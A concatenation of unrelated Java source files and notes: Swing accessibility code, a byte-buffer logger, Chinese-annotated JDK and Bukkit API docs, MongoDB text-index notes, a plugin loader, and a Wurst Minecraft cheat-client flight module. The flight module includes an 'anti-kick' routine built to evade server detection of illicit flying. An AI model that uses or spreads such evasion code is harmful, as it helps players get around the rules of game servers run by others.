Component c = getCurrentComponent();
if (c != null) {
return c.getForeground();
} else {
return null;
}
}
}
public void setForeground(Color c) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
((AccessibleComponent) ac).setForeground(c);
} else {
Component cp = getCurrentComponent();
if (cp != null) {
cp.setForeground(c);
}
}
}
public Cursor getCursor() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
return ((AccessibleComponent) ac).getCursor();
} else {
Component c = getCurrentComponent();
if (c != null) {
return c.getCursor();
} else {
Accessible ap = getAccessibleParent();
if (ap instanceof AccessibleComponent) {
return ((AccessibleComponent) ap).getCursor();
} else {
return null;
}
}
}
}
public void setCursor(Cursor c) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
((AccessibleComponent) ac).setCursor(c);
} else {
Component cp = getCurrentComponent();
if (cp != null) {
cp.setCursor(c);
}
}
}
public Font getFont() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
return ((AccessibleComponent) ac).getFont();
} else {
Component c = getCurrentComponent();
if (c != null) {
return c.getFont();
} else {
return null;
}
}
}
public void setFont(Font f) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
((AccessibleComponent) ac).setFont(f);
} else {
Component c = getCurrentComponent();
if (c != null) {
c.setFont(f);
}
}
}
public FontMetrics getFontMetrics(Font f) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
return ((AccessibleComponent) ac).getFontMetrics(f);
} else {
Component c = getCurrentComponent();
if (c != null) {
return c.getFontMetrics(f);
} else {
return null;
}
}
}
public boolean isEnabled() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
return ((AccessibleComponent) ac).isEnabled();
} else {
Component c = getCurrentComponent();
if (c != null) {
return c.isEnabled();
} else {
return false;
}
}
}
public void setEnabled(boolean b) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
((AccessibleComponent) ac).setEnabled(b);
} else {
Component c = getCurrentComponent();
if (c != null) {
c.setEnabled(b);
}
}
}
public boolean isVisible() {
int fi = parent.getFirstVisibleIndex();
int li = parent.getLastVisibleIndex();
// The UI incorrectly returns a -1 for the last
// visible index if the list is smaller than the
// viewport size.
if (li == -1) {
li = parent.getModel().getSize() - 1;
}
return ((indexInParent >= fi)
&& (indexInParent <= li));
}
public void setVisible(boolean b) {
}
public boolean isShowing() {
return (parent.isShowing() && isVisible());
}
public boolean contains(Point p) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
Rectangle r = ((AccessibleComponent) ac).getBounds();
return r.contains(p);
} else {
Component c = getCurrentComponent();
if (c != null) {
Rectangle r = c.getBounds();
return r.contains(p);
} else {
return getBounds().contains(p);
}
}
}
public Point getLocationOnScreen() {
if (parent != null) {
Point listLocation = parent.getLocationOnScreen();
Point componentLocation = parent.indexToLocation(indexInParent);
if (componentLocation != null) {
componentLocation.translate(listLocation.x, listLocation.y);
return componentLocation;
} else {
return null;
}
} else {
return null;
}
}
public Point getLocation() {
if (parent != null) {
return parent.indexToLocation(indexInParent);
} else {
return null;
}
}
public void setLocation(Point p) {
if ((parent != null) && (parent.contains(p))) {
ensureIndexIsVisible(indexInParent);
}
}
public Rectangle getBounds() {
if (parent != null) {
return parent.getCellBounds(indexInParent,indexInParent);
} else {
return null;
}
}
public void setBounds(Rectangle r) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
((AccessibleComponent) ac).setBounds(r);
}
}
public Dimension getSize() {
Rectangle cellBounds = this.getBounds();
if (cellBounds != null) {
return cellBounds.getSize();
} else {
return null;
}
}
public void setSize (Dimension d) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
((AccessibleComponent) ac).setSize(d);
} else {
Component c = getCurrentComponent();
if (c != null) {
c.setSize(d);
}
}
}
public Accessible getAccessibleAt(Point p) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
return ((AccessibleComponent) ac).getAccessibleAt(p);
} else {
return null;
}
}
public boolean isFocusTraversable() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
return ((AccessibleComponent) ac).isFocusTraversable();
} else {
Component c = getCurrentComponent();
if (c != null) {
return c.isFocusTraversable();
} else {
return false;
}
}
}
public void requestFocus() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
((AccessibleComponent) ac).requestFocus();
} else {
Component c = getCurrentComponent();
if (c != null) {
c.requestFocus();
}
}
}
public void addFocusListener(FocusListener l) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
((AccessibleComponent) ac).addFocusListener(l);
} else {
Component c = getCurrentComponent();
if (c != null) {
c.addFocusListener(l);
}
}
}
public void removeFocusListener(FocusListener l) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
((AccessibleComponent) ac).removeFocusListener(l);
} else {
Component c = getCurrentComponent();
if (c != null) {
c.removeFocusListener(l);
}
}
}
// TIGER - 4733624
/**
* Returns the icon for the element renderer, as the only item
* of an array of <code>AccessibleIcon</code>s or a <code>null</code> array
* if the renderer component contains no icons.
*
* <p>
* 如果渲染器组件不包含图标,则返回元素渲染器的图标作为<code> AccessibleIcon </code> s或<code> null </code>数组中唯一的数组。
*
* @return an array containing the accessible icon
* or a <code>null</code> array if none
* @since 1.3
*/
public AccessibleIcon [] getAccessibleIcon() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
return ac.getAccessibleIcon();
} else {
return null;
}
}
} // inner class AccessibleJListChild
} // inner class AccessibleJList
}
| lobinary/Lobinary | JDK8Source/src/main/java/javax/swing/JList.java |
65,373 | package moai.log;
import java.nio.BufferOverflowException;
import java.nio.ByteBuffer;
/**
* <pre>
* 封装ByteBuffer,自动结尾功能
* 接口与StringBuilder完全一致,便于替换
* </pre>
*/
class ByteBufferWrapper {
/**
* buffer数据从0开始
*/
private final ByteBuffer buffer;
private boolean notFull = true;
private int position = 0;
public ByteBufferWrapper(int capacity) {
buffer = ByteBuffer.allocate(capacity);
}
public ByteBufferWrapper append(String cs) {
if (notFull) {
if (cs == null) {
cs = "null";
}
for (int i = 0, len = cs.length(); i < len; i++) {
append(cs.charAt(i));
}
}
return this;
}
public ByteBufferWrapper append(long v) {
if (notFull) {
append(Long.toString(v));
}
return this;
}
public ByteBufferWrapper append(int v) {
if (notFull) {
append(Integer.toString(v));
}
return this;
}
public ByteBufferWrapper append(ByteBufferWrapper bb) {
if (notFull) {
try {
buffer.put(bb.buffer.array(), 0, bb.length());
} catch (BufferOverflowException e) {
notFull = false;
}
}
return this;
}
public ByteBufferWrapper append(char v) {
// 所有的append都走到这里处理
if (notFull) {
try {
if (v < 128) {
// 大多数都是ASCII
buffer.put((byte)v);
} else {
buffer.put(Character.toString(v).getBytes());
}
} catch (BufferOverflowException e) {
notFull = false;
}
}
return this;
}
public void clear() {
buffer.clear();
position = 0;
notFull = true;
}
public int capacity() {
return buffer.capacity();
}
public int position() {
return position;
}
public void setPosition(int position) {
this.position = position;
}
public int length() {
return buffer.position();
}
public void setLength(int len) {
buffer.position(len);
}
public ByteBuffer toBuffer() {
return buffer;
}
@Override
public String toString() {
return new String(buffer.array(), 0, length());
}
public ByteBufferWrapper flip() {
buffer.flip();
return this;
}
}
| tsuzcx/qq_apk | com.tencent.tim/moai/log/ByteBufferWrapper.java |
65,374 | /*
* Copyright (c) 2014-2023 Wurst-Imperium and contributors.
*
* This source code is subject to the terms of the GNU General Public
* License, version 3. If a copy of the GPL was not distributed with this
* file, You can obtain one at: https://www.gnu.org/licenses/gpl-3.0.txt
*/
package net.wurstclient.hacks;
import net.minecraft.client.network.ClientPlayerEntity;
import net.minecraft.util.math.Vec3d;
import net.wurstclient.Category;
import net.wurstclient.SearchTags;
import net.wurstclient.events.AirStrafingSpeedListener;
import net.wurstclient.events.IsPlayerInWaterListener;
import net.wurstclient.events.UpdateListener;
import net.wurstclient.hack.Hack;
import net.wurstclient.settings.CheckboxSetting;
import net.wurstclient.settings.SliderSetting;
import net.wurstclient.settings.SliderSetting.ValueDisplay;
@SearchTags({"FlyHack", "fly hack", "flying"})
public final class FlightHack extends Hack
implements UpdateListener, IsPlayerInWaterListener, AirStrafingSpeedListener
{
public final SliderSetting horizontalSpeed =
new SliderSetting("水平速度", 1, 0.05, 10, 0.05, ValueDisplay.DECIMAL);
public final SliderSetting verticalSpeed = new SliderSetting("垂直速度",
"\u00a7c\u00a7l警告:\u00a7r设置过高可能会造成摔落伤害,即使有NoFall。", 1, 0.05, 5, 0.05,
ValueDisplay.DECIMAL);
private final CheckboxSetting slowSneaking =
new CheckboxSetting("慢速潜行", "在你潜行时减少你的水平速度,以防止你出现故障。", true);
private final CheckboxSetting antiKick =
new CheckboxSetting("防踢", "每隔一段时间让你稍微掉落一点,以防止你被踢出。", false);
private final SliderSetting antiKickInterval =
new SliderSetting("防踢间隔", "防踢阻止你被踢出的频率。\n" + "大多数服务器会在80刻后踢你。", 30, 5,
80, 1, ValueDisplay.INTEGER.withSuffix(" 刻").withLabel(1, "1刻"));
private final SliderSetting antiKickDistance =
new SliderSetting("防踢距离", "防踢让你掉落的距离。\n" + "大多数服务器至少需要0.032米才能阻止你被踢出。",
0.07, 0.01, 0.2, 0.001, ValueDisplay.DECIMAL.withSuffix("米"));
private int tickCounter = 0;
public FlightHack()
{
super("让你飞起来");
setCategory(Category.MOVEMENT);
addSetting(horizontalSpeed);
addSetting(verticalSpeed);
addSetting(slowSneaking);
addSetting(antiKick);
addSetting(antiKickInterval);
addSetting(antiKickDistance);
}
@Override
public void onEnable()
{
tickCounter = 0;
WURST.getHax().creativeFlightHack.setEnabled(false);
WURST.getHax().jetpackHack.setEnabled(false);
EVENTS.add(UpdateListener.class, this);
EVENTS.add(IsPlayerInWaterListener.class, this);
EVENTS.add(AirStrafingSpeedListener.class, this);
}
@Override
public void onDisable()
{
EVENTS.remove(UpdateListener.class, this);
EVENTS.remove(IsPlayerInWaterListener.class, this);
EVENTS.remove(AirStrafingSpeedListener.class, this);
}
@Override
public void onUpdate()
{
ClientPlayerEntity player = MC.player;
player.getAbilities().flying = false;
player.setVelocity(0, 0, 0);
Vec3d velocity = player.getVelocity();
if(MC.options.jumpKey.isPressed())
player.setVelocity(velocity.x, verticalSpeed.getValue(),
velocity.z);
if(MC.options.sneakKey.isPressed())
player.setVelocity(velocity.x, -verticalSpeed.getValue(),
velocity.z);
if(antiKick.isChecked())
doAntiKick(velocity);
}
@Override
public void onGetAirStrafingSpeed(AirStrafingSpeedEvent event)
{
float speed = horizontalSpeed.getValueF();
if(MC.options.sneakKey.isPressed() && slowSneaking.isChecked())
speed = Math.min(speed, 0.85F);
event.setSpeed(speed);
}
private void doAntiKick(Vec3d velocity)
{
if(tickCounter > antiKickInterval.getValueI() + 1)
tickCounter = 0;
switch(tickCounter)
{
case 0 ->
{
if(MC.options.sneakKey.isPressed())
tickCounter = 2;
else
MC.player.setVelocity(velocity.x,
-antiKickDistance.getValue(), velocity.z);
}
case 1 -> MC.player.setVelocity(velocity.x,
antiKickDistance.getValue(), velocity.z);
}
tickCounter++;
}
@Override
public void onIsPlayerInWater(IsPlayerInWaterEvent event)
{
event.setInWater(false);
}
}
| dingzhen-vape/WurstCN | src/main/java/net/wurstclient/hacks/FlightHack.java |
65,376 | package com.site0.walnut.web.view;
import org.nutz.ioc.Ioc;
import org.nutz.mvc.View;
import org.nutz.mvc.ViewMaker;
import com.site0.walnut.web.WnConfig;
import org.nutz.web.ajax.AjaxView;
public class WnViewMaker implements ViewMaker {
@Override
public View make(Ioc ioc, String type, String value) {
// Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite属性,
// 用来防止 CSRF 攻击和用户追踪。
// 为此默认的,我们需要为 Cookie 模板增加一个 SameSite 属性
// Set-Cookie: CookieName=CookieValue; SameSite=None; Secure
// - Strict: 完全不发
// - Lax: 大多数情况不发
// - None: 总是发,需要配合 Secure 属性
// @see https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html
WnConfig conf = ioc.get(WnConfig.class, "conf");
String path = value;
// 设置 cookie 并重定向
if ("++cookie>>".equals(type)) {
return new WnAddCookieViewWrapper(conf, path);
}
// 从 cookie 移除并重定向
else if ("--cookie>>".equals(type)) {
return new WnDelCookieViewWrapper(value);
}
// 设置 cookie 并输出 AJAX 返回
else if ("++cookie->ajax".equals(type)) {
return new WnAddCookieViewWrapper(conf, new AjaxView(), path);
}
// 呃,不认识了 ...
return null;
}
}
| zozoh/walnut | src/com/site0/walnut/web/view/WnViewMaker.java |
65,377 | /*
* Written by Doug Lea with assistance from members of JCP JSR-166
* Expert Group and released to the public domain, as explained at
* http://creativecommons.org/publicdomain/zero/1.0/
*/
package java.util.concurrent;
import java.util.Collection;
import java.util.List;
// BEGIN android-note
// removed security manager docs
// END android-note
/**
* An {@link Executor} that provides methods to manage termination 结束,终止 and
* methods that can produce a {@link Future} for tracking progress of
* one or more asynchronous tasks.
*
* <p>An {@code ExecutorService} can be shut down, which will cause
* it to reject new tasks. Two different methods are provided for
* shutting down an {@code ExecutorService}. The {@link #shutdown}
* method will allow previously submitted tasks to execute before
* terminating, while the {@link #shutdownNow} method prevents waiting
* tasks from starting and attempts to stop currently executing tasks.
* Upon termination, an executor has no tasks actively executing, no
* tasks awaiting execution, and no new tasks can be submitted. An
* unused {@code ExecutorService} should be shut down to allow
* reclamation 收回 of its resources.
*
* <p>Method {@code submit} extends base method {@link
* Executor#execute(Runnable)} by creating and returning a {@link Future}
* that can be used to cancel execution and/or wait for completion.
* Methods {@code invokeAny} and {@code invokeAll} perform the most
* commonly useful forms of bulk 体积,容量;大多数,大部分;大块 execution, executing a collection of
* tasks and then waiting for at least one, or all, to
* complete. (Class {@link ExecutorCompletionService} can be used to
* write customized variants of these methods.)
*
* <p>The {@link Executors} class provides factory methods for the
* executor services provided in this package.
*
* <h3>Usage Examples</h3>
*
* Here is a sketch 草图 素描 of a network service in which threads in a thread
* pool service incoming requests. It uses the preconfigured {@link
* Executors#newFixedThreadPool} factory method:
*
* <pre> {@code
* class NetworkService implements Runnable {
* private final ServerSocket serverSocket;
* private final ExecutorService pool;
*
* public NetworkService(int port, int poolSize)
* throws IOException {
* serverSocket = new ServerSocket(port);
* pool = Executors.newFixedThreadPool(poolSize);
* }
*
* public void run() { // run the service
* try {
* for (;;) {
* pool.execute(new Handler(serverSocket.accept()));
* }
* } catch (IOException ex) {
* pool.shutdown();
* }
* }
* }
*
* class Handler implements Runnable {
* private final Socket socket;
* Handler(Socket socket) { this.socket = socket; }
* public void run() {
* // read and service request on socket
* }
* }}</pre>
*
* The following method shuts down an {@code ExecutorService} in two phases,
* first by calling {@code shutdown} to reject incoming tasks, and then
* calling {@code shutdownNow}, if necessary, to cancel any lingering tasks:
*
* <pre> {@code
* void shutdownAndAwaitTermination(ExecutorService pool) {
* pool.shutdown(); // Disable new tasks from being submitted
* try {
* // Wait a while for existing tasks to terminate
* if (!pool.awaitTermination(60, TimeUnit.SECONDS)) {
* pool.shutdownNow(); // Cancel currently executing tasks
* // Wait a while for tasks to respond to being cancelled
* if (!pool.awaitTermination(60, TimeUnit.SECONDS))
* System.err.println("Pool did not terminate");
* }
* } catch (InterruptedException ie) {
* // (Re-)Cancel if current thread also interrupted
* pool.shutdownNow();
* // Preserve interrupt status
* Thread.currentThread().interrupt();
* }
* }}</pre>
*
* <p>Memory consistency effects: Actions in a thread prior to the
* submission of a {@code Runnable} or {@code Callable} task to an
* {@code ExecutorService}
* <a href="package-summary.html#MemoryVisibility"><i>happen-before</i></a>
* any actions taken by that task, which in turn <i>happen-before</i> the
* result is retrieved via {@code Future.get()}.
*
* @since 1.5
* @author Doug Lea
*/
public interface ExecutorService extends Executor {
/**
* Initiates 启动,开始 an orderly 顺序地;依次地 shutdown in which previously submitted
* tasks are executed, but no new tasks will be accepted.
* Invocation has no additional effect if already shut down.
*
* <p>This method does not wait for previously submitted tasks to
* complete execution. Use {@link #awaitTermination awaitTermination}
* to do that.
*/
void shutdown();
/**
* Attempts to stop all actively executing tasks, halts 停止 the
* processing of waiting tasks, and returns a list of the tasks
* that were awaiting execution.
*
* <p>This method does not wait for actively executing tasks to
* terminate. Use {@link #awaitTermination awaitTermination} to
* do that.
*
* <p>There are no guarantees beyond best-effort attempts to stop
* processing actively executing tasks. For example, typical
* implementations will cancel via {@link Thread#interrupt}, so any
* task that fails to respond to interrupts may never terminate.
*
* @return list of tasks that never commenced 开始 execution
*/
List<Runnable> shutdownNow();
/**
* Returns {@code true} if this executor has been shut down.
*
* @return {@code true} if this executor has been shut down
*/
boolean isShutdown();
/**
* Returns {@code true} if all tasks have completed following shut down.
* Note that {@code isTerminated} is never {@code true} unless
* either {@code shutdown} or {@code shutdownNow} was called first.
*
* @return {@code true} if all tasks have completed following shut down
*/
boolean isTerminated();
/**
* Blocks until all tasks have completed execution after a shutdown
* request, or the timeout occurs, or the current thread is
* interrupted, whichever happens first.
*
* @param timeout the maximum time to wait
* @param unit the time unit of the timeout argument
* @return {@code true} if this executor terminated and
* {@code false} if the timeout elapsed before termination
* @throws InterruptedException if interrupted while waiting
*/
boolean awaitTermination(long timeout, TimeUnit unit)
throws InterruptedException;
/**
* Submits a value-returning task for execution and returns a
* Future representing the pending results of the task. The
* Future's {@code get} method will return the task's result upon
* successful completion.
*
* <p>
* If you would like to immediately block waiting
* for a task, you can use constructions of the form
* {@code result = exec.submit(aCallable).get();}
*
* <p>Note: The {@link Executors} class includes a set of methods
* that can convert some other common closure-like 闭包 objects,
* for example, {@link java.security.PrivilegedAction} to
* {@link Callable} form so they can be submitted.
*
* @param task the task to submit
* @param <T> the type of the task's result
* @return a Future representing pending completion of the task
* @throws RejectedExecutionException if the task cannot be
* scheduled for execution
* @throws NullPointerException if the task is null
*/
<T> Future<T> submit(Callable<T> task);
/**
* Submits a Runnable task for execution and returns a Future
* representing that task. The Future's {@code get} method will
* return the given result upon successful completion.
*
* @param task the task to submit
* @param result the result to return
* @param <T> the type of the result
* @return a Future representing pending completion of the task
* @throws RejectedExecutionException if the task cannot be
* scheduled for execution
* @throws NullPointerException if the task is null
*/
<T> Future<T> submit(Runnable task, T result);
/**
* Submits a Runnable task for execution and returns a Future
* representing that task. The Future's {@code get} method will
* return {@code null} upon <em>successful</em> completion.
*
* @param task the task to submit
* @return a Future representing pending completion of the task
* @throws RejectedExecutionException if the task cannot be
* scheduled for execution
* @throws NullPointerException if the task is null
*/
Future<?> submit(Runnable task);
/**
* Executes the given tasks, returning a list of Futures holding
* their status and results when all complete.
* {@link Future#isDone} is {@code true} for each
* element of the returned list.
* Note that a <em>completed</em> task could have
* terminated either normally or by throwing an exception.
* The results of this method are undefined if the given
* collection is modified while this operation is in progress.
*
* @param tasks the collection of tasks
* @param <T> the type of the values returned from the tasks
* @return a list of Futures representing the tasks, in the same
* sequential order as produced by the iterator for the
* given task list, each of which has completed
* @throws InterruptedException if interrupted while waiting, in
* which case unfinished tasks are cancelled
* @throws NullPointerException if tasks or any of its elements are {@code null}
* @throws RejectedExecutionException if any task cannot be
* scheduled for execution
*/
<T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks)
throws InterruptedException;
/**
* Executes the given tasks, returning a list of Futures holding
* their status and results
* when all complete or the timeout expires, whichever happens first.
* {@link Future#isDone} is {@code true} for each
* element of the returned list.
* Upon return, tasks that have not completed are cancelled.
* Note that a <em>completed</em> task could have
* terminated either normally or by throwing an exception.
* The results of this method are undefined if the given
* collection is modified while this operation is in progress.
*
* @param tasks the collection of tasks
* @param timeout the maximum time to wait
* @param unit the time unit of the timeout argument
* @param <T> the type of the values returned from the tasks
* @return a list of Futures representing the tasks, in the same
* sequential order as produced by the iterator for the
* given task list. If the operation did not time out,
* each task will have completed. If it did time out, some
* of these tasks will not have completed.
* @throws InterruptedException if interrupted while waiting, in
* which case unfinished tasks are cancelled
* @throws NullPointerException if tasks, any of its elements, or
* unit are {@code null}
* @throws RejectedExecutionException if any task cannot be scheduled
* for execution
*/
<T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks,
long timeout, TimeUnit unit)
throws InterruptedException;
/**
* Executes the given tasks, returning the result
* of one that has completed successfully (i.e., without throwing
* an exception), if any do. Upon normal or exceptional return,
* tasks that have not completed are cancelled.
* The results of this method are undefined if the given
* collection is modified while this operation is in progress.
*
* @param tasks the collection of tasks
* @param <T> the type of the values returned from the tasks
* @return the result returned by one of the tasks
* @throws InterruptedException if interrupted while waiting
* @throws NullPointerException if tasks or any element task
* subject to execution is {@code null}
* @throws IllegalArgumentException if tasks is empty
* @throws ExecutionException if no task successfully completes
* @throws RejectedExecutionException if tasks cannot be scheduled
* for execution
*/
<T> T invokeAny(Collection<? extends Callable<T>> tasks)
throws InterruptedException, ExecutionException;
/**
* Executes the given tasks, returning the result
* of one that has completed successfully (i.e., without throwing
* an exception), if any do before the given timeout elapses.
* Upon normal or exceptional return, tasks that have not
* completed are cancelled.
* The results of this method are undefined if the given
* collection is modified while this operation is in progress.
*
* @param tasks the collection of tasks
* @param timeout the maximum time to wait
* @param unit the time unit of the timeout argument
* @param <T> the type of the values returned from the tasks
* @return the result returned by one of the tasks
* @throws InterruptedException if interrupted while waiting
* @throws NullPointerException if tasks, or unit, or any element
* task subject to execution is {@code null}
* @throws TimeoutException if the given timeout elapses before
* any task successfully completes
* @throws ExecutionException if no task successfully completes
* @throws RejectedExecutionException if tasks cannot be scheduled
* for execution
*/
<T> T invokeAny(Collection<? extends Callable<T>> tasks,
long timeout, TimeUnit unit)
throws InterruptedException, ExecutionException, TimeoutException;
}
| fengyunmars/android-24 | java/util/concurrent/ExecutorService.java |
65,379 | package org.bukkit.event.entity;
import org.bukkit.Chunk;
import org.bukkit.entity.LivingEntity;
import org.bukkit.event.world.ChunkLoadEvent;
import org.jetbrains.annotations.NotNull;
/**
* 当一个生物体在世界中出生时触发该事件.
* <p>
* 如果该事件被取消了,那么这个生物将不会出生.
*/
public class CreatureSpawnEvent extends EntitySpawnEvent {
private final SpawnReason spawnReason;
public CreatureSpawnEvent(@NotNull final LivingEntity spawnee, @NotNull final SpawnReason spawnReason) {
super(spawnee);
this.spawnReason = spawnReason;
}
@NotNull
@Override
public LivingEntity getEntity() {
return (LivingEntity) entity;
}
/**
* 返回生物出生的原因
* <p>
* 原文:
* Gets the reason for why the creature is being spawned.
*
* @return 出生原因
*/
@NotNull
public SpawnReason getSpawnReason() {
return spawnReason;
}
/**
* 生成原因的枚举类.
*/
public enum SpawnReason {
/**
* 自然生成
*/
NATURAL,
/**
* 当实体因为乘骑而被生成时 (大多是蜘蛛骑士)
*/
JOCKEY,
/**
* 当区块产生而生成生物时
*
* @deprecated 不再调用, 区块与已经存在的实体一同生成.
* 请考虑使用{@link ChunkLoadEvent#isNewChunk()} 和 {@link Chunk#getEntities()}
* 以达到类似效果
*/
@Deprecated
CHUNK_GEN,
/**
* 当生物由于刷怪箱生成时
*/
SPAWNER,
/**
* 当生物由于蛋生成时 (不是刷怪蛋,是普通的鸡蛋)
*/
EGG,
/**
* 当生物由于刷怪蛋生成时
*/
SPAWNER_EGG,
/**
* 当生物由于闪电而生成时
*/
LIGHTNING,
/**
* 当雪人被建造时
*/
BUILD_SNOWMAN,
/**
* 当一个铁傀儡被建造时
*/
BUILD_IRONGOLEM,
/**
* 当一个凋零被建造时
*/
BUILD_WITHER,
/**
* 当村庄生成保卫的铁傀儡时
*/
VILLAGE_DEFENSE,
/**
* 当一个僵尸进攻村庄而生成时.
*/
VILLAGE_INVASION,
/**
* When an entity breeds to create a child, this also include Shulker and Allay
*/
BREEDING,
/**
* 当史莱姆分裂时
*/
SLIME_SPLIT,
/**
* 当一个实体请求支援时
*/
REINFORCEMENTS,
/**
* 当生物由于地狱传送门而生成时
*/
NETHER_PORTAL,
/**
* 当生物由于投掷器丢出鸡蛋而生成时
*/
DISPENSE_EGG,
/**
* 当一个僵尸感染一个村民时
*/
INFECTION,
/**
* 当村民从僵尸状态痊愈时
*/
CURED,
/**
* 当豹猫为了照顾自己的孩子而出生时
*/
OCELOT_BABY,
/**
* 当一条蠹虫从方块中生成时
*/
SILVERFISH_BLOCK,
/**
* 当一个实体成为其他实体坐骑时 (大多数时是鸡骑士)
*/
MOUNT,
/**
* 当实体作为陷阱陷害玩家时
*/
TRAP,
/**
* 由于末影珍珠的使用而生成.
*/
ENDER_PEARL,
/**
* When an entity is spawned as a result of the entity it is being
* perched on jumping or being damaged
*/
SHOULDER_ENTITY,
/**
* 当一个实体溺亡而生成时
*/
DROWNED,
/**
* When an cow is spawned by shearing a mushroom cow
*/
SHEARED,
/**
* 由于苦力怕等发生爆炸产生效果云时/When eg an effect cloud is spawned as a result of a creeper exploding
*/
EXPLOSION,
/**
* When an entity is spawned as part of a raid
*/
RAID,
/**
* When an entity is spawned as part of a patrol
*/
PATROL,
/**
* When a bee is released from a beehive/bee nest
*/
BEEHIVE,
/**
* When a piglin is converted to a zombified piglin.
*/
PIGLIN_ZOMBIFIED,
/**
* When an entity is created by a cast spell.
*/
SPELL,
/**
* When an entity is shaking in Powder Snow and a new entity spawns.
*/
FROZEN,
/**
* When a tadpole converts to a frog
*/
METAMORPHOSIS,
/**
* When an Allay duplicate itself
*/
DUPLICATION,
/**
* When a creature is spawned by the "/summon" command
*/
COMMAND,
/**
* 当生物被插件生成时
*/
CUSTOM,
/**
* 实体由于其他原因而生成
*/
DEFAULT
}
} | BukkitAPI-Translation-Group/Chinese_BukkitAPI | BukkitApi/org/bukkit/event/entity/CreatureSpawnEvent.java |
65,380 | ---------------------
全文搜索索引
---------------------
# 全文搜索
* 如果应用允许用户提交关键字查询,而这些查询与集合中的某些字段的文本相匹配,那么可以使用 text 索引。
* text 索引可以快速搜索文本并提供对一些常见搜索引擎需求(比如适合于语言的分词)的支持。
* text 索引需要一定数量的与被索引字段中单词成比例的键。因此,创建 text 索引可能会消耗大量的系统资源。
# 创建全文索引
db.articles.createIndex({
"title": "text", // 给 title 字段创建全文索引
"body" : "text" // 给 body 字段创建全文索引
})
* 索引创建中的字段的声明顺序并不重要。默认情况下,text 索引中的每个字段都会被同等对待。
* 可以通过对每个字段指定权重来控制不同字段的相对重要性
// "title" 字段与 "body" 字段的权重比为 3:2
db.articles.createIndex({
"title": "text",
"body": "text"
}, {"weights" : {
"title" : 3, // 为不同的字段设置权重比
"body" : 2
}})
* 索引一旦创建,就不能改变字段的权重了(除非删除索引再重建)。
* 使用 "$**" 在文档的所有 '字符串字段' 上创建全文本索引
* 这样做不仅会对顶层的字符串字段建立索引,也会搜索内嵌文档和数组中的字符串字段。
db.articles.createIndex({"$**" : "text"})
---------------------
文本查询
---------------------
# 使用 "$text" 查询运算符对具有 text 索引的集合进行文本搜索
* "$text" 会使用空格和 '大多数标点符号' 作为分隔符来对搜索字符串进行标记,并在搜索字符串时对所有这些标记执行 'OR' 逻辑。
// 检索在 text 索引字段中包含了 impact 或 crater 或 lunar 的文档,
// 这里做了投影查询,只返回 title,目的是为了整齐好看
db.articles.find({"$text": {"$search": "impact crater lunar"}},{title: 1}).limit(7)
{ "_id" : "170375", "title" : "Chengdu" }
{ "_id" : "34331213", "title" : "Avengers vs. X-Men" }
{ "_id" : "498834", "title" : "Culture of Tunisia" }
{ "_id" : "602564", "title" : "ABC Warriors" }
{ "_id" : "40255", "title" : "Jupiter (mythology)" }
{ "_id" : "22483", "title" : "Optics" }
{ "_id" : "8919057", "title" : "Characters in The Legend of Zelda series" }
* 使用双引号对准确的短语进行搜索
// "\"impact crater\" lunar" 中, 'impact crater' 是一个完整的词儿,不会被分为 2 个。
db.articles.find({$text: {$search: "\"impact crater\" lunar"}}, {title: 1}).limit(10)
| KevinBlandy/notes | Mongodb/mongodb-core-索引-Text.java |
65,381 | package nicelee.acfun;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.net.JarURLConnection;
import java.net.URISyntaxException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.List;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import nicelee.acfun.annotations.Acfun;
import nicelee.acfun.plugin.CustomClassLoader;
import nicelee.acfun.plugin.Plugin;
public abstract class PackageScanLoader {
private ClassLoader classLoader;
private List<Class<?>> validClazzList;
public static List<Class<?>> validParserClasses;
public static List<Class<?>> validDownloaderClasses;
static {
validParserClasses = new ArrayList<Class<?>>();
validDownloaderClasses = new ArrayList<Class<?>>();
// 扫描parsers文件夹,加载自定义类名
Plugin parserPlg = new Plugin("parsers", "nicelee.acfun.parsers.impl");
CustomClassLoader ccloader = new CustomClassLoader();
File parserFolder = new File("parsers");
// 如果parsers.ini存在, 逐行读取类名, 按照顺序进行扫描
// 这是为了在jar包里的类加载生效之前使用, 替换原来的功能
// 大多数情况下不需要用到
File parserInit = new File(parserFolder, "parsers.ini");
if (parserInit.exists()) {
try {
BufferedReader reader = new BufferedReader(new FileReader(parserInit));
String clazzName = reader.readLine();
while (clazzName != null) {
compileAndLoad(parserPlg, ccloader, clazzName);
clazzName = reader.readLine();
}
reader.close();
} catch (IOException e) {
e.printStackTrace();
}
} else if (parserFolder.exists()) {
// 遍历文件进行扫描
for (File file : parserFolder.listFiles()) {
String fileName = file.getName();
if (fileName.endsWith(".java")) {
String clazzName = fileName.substring(0, fileName.length() - 5);
compileAndLoad(parserPlg, ccloader, clazzName);
}
}
}
// 扫描包,加载 parser 类
